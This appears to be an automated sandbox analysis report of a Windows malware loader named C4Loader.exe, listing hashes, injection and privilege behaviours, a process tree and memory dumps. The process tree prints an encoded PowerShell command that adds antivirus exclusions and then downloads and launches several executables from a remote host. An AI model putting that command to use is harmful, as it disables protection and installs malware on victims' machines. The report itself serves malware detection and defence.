7b70b9f9483656e7b8ce1981fefd6dfe77cfd0d89b0826eb2c1ebabbf7d23a18

General

Target

C4Loader.exe
Size

32KB
MD5

1b0e1de4fc8c200d3ea4509b9937ff01
SHA1

2cd17bfc99d0675977ee0bbd0494ed2aaa96cb2a
SHA256

7b70b9f9483656e7b8ce1981fefd6dfe77cfd0d89b0826eb2c1ebabbf7d23a18
SHA512

59821ffa02b7876da06032e577dfea6cc6df133b19e2a9c2295e1f6011883e2c298f71b2a4c5f04ceca492a26a1e22bdf368f95747cf7fba0dc4e3916c8ef403
SSDEEP

384:9vXX8GJ98MXVej4FsObOM7o/qo9VhvyCtCWdCMT42Ud0fz5WA9Snh9ZpR5ZsHLEt:RXX8GT8MXBb7oCIpwl2vz5WASnhza5c

Score

7^/10

Malware Config

Signatures

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

C4Loader.exe

description pid process target process

PID 1788 set thread context of 4960 1788 C4Loader.exe vbc.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4808 1788 WerFault.exe C4Loader.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1356 powershell.exe
1356 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1356 powershell.exe

description	pid	process	target process
PID 1788 set thread context of 4960	1788	C4Loader.exe	vbc.exe

pid	pid_target	process	target process
4808	1788	WerFault.exe	C4Loader.exe

pid	process
1356	powershell.exe
1356	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1356	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

C4Loader.exevbc.exe

description	pid	process	target process
PID 1788 wrote to memory of 4960	1788	C4Loader.exe	vbc.exe
PID 1788 wrote to memory of 4960	1788	C4Loader.exe	vbc.exe
PID 1788 wrote to memory of 4960	1788	C4Loader.exe	vbc.exe
PID 1788 wrote to memory of 4960	1788	C4Loader.exe	vbc.exe
PID 1788 wrote to memory of 4960	1788	C4Loader.exe	vbc.exe
PID 4960 wrote to memory of 1356	4960	vbc.exe	powershell.exe
PID 4960 wrote to memory of 1356	4960	vbc.exe	powershell.exe
PID 4960 wrote to memory of 1356	4960	vbc.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1788

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:4960

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AcgBwACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAHQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaQBiAG4AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBlAHAAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACwAIAA8ACMAZQB0AHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBlAHkAagAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAGcAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAKQA8ACMAZQB0AHMAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGQAZABuAHMALgBuAGUAdAAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAG4AZQB3ADIALgBlAHgAZQAnACwAIAA8ACMAcgBiAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBoAHAAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBsAGUAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBuAGUAdwAyAC4AZQB4AGUAJwApACkAPAAjAGYAaAB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBsAHAAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHkAcwBjACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAbQB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAG4AdABrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBkAGQAbgBzAC4AbgBlAHQALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAegB6AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB5AGgAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBtAHgAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcQB4AHoAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagB0AG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAYwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQA8ACMAaABxAGgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBnAGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAawB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAGsAcgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHYAbQByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAZgBiAGIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABmAG0AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHoAaQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQA8ACMAYgBwAHMAIwA+AA=="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 272
2⤵
- Program crash
PID:4808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1788 -ip 1788
1⤵
PID:3916

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

1

T1064

Persistence

Privilege Escalation

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1356-141-0x0000000000000000-mapping.dmp

Download
memory/1356-142-0x0000000003270000-0x00000000032A6000-memory.dmp

Filesize
216KB

Download
memory/1356-143-0x0000000005960000-0x0000000005F88000-memory.dmp

Filesize
6.2MB

Download
memory/1356-144-0x0000000005900000-0x0000000005922000-memory.dmp

Filesize
136KB

Download
memory/1356-145-0x0000000006200000-0x0000000006266000-memory.dmp

Filesize
408KB

Download
memory/1356-146-0x0000000006270000-0x00000000062D6000-memory.dmp

Filesize
408KB

Download
memory/1356-147-0x00000000068B0000-0x00000000068CE000-memory.dmp

Filesize
120KB

Download
memory/1788-132-0x0000000000230000-0x000000000023A000-memory.dmp

Filesize
40KB

Download
memory/4960-133-0x0000000000000000-mapping.dmp

Download
memory/4960-134-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4960-140-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download

Analysis

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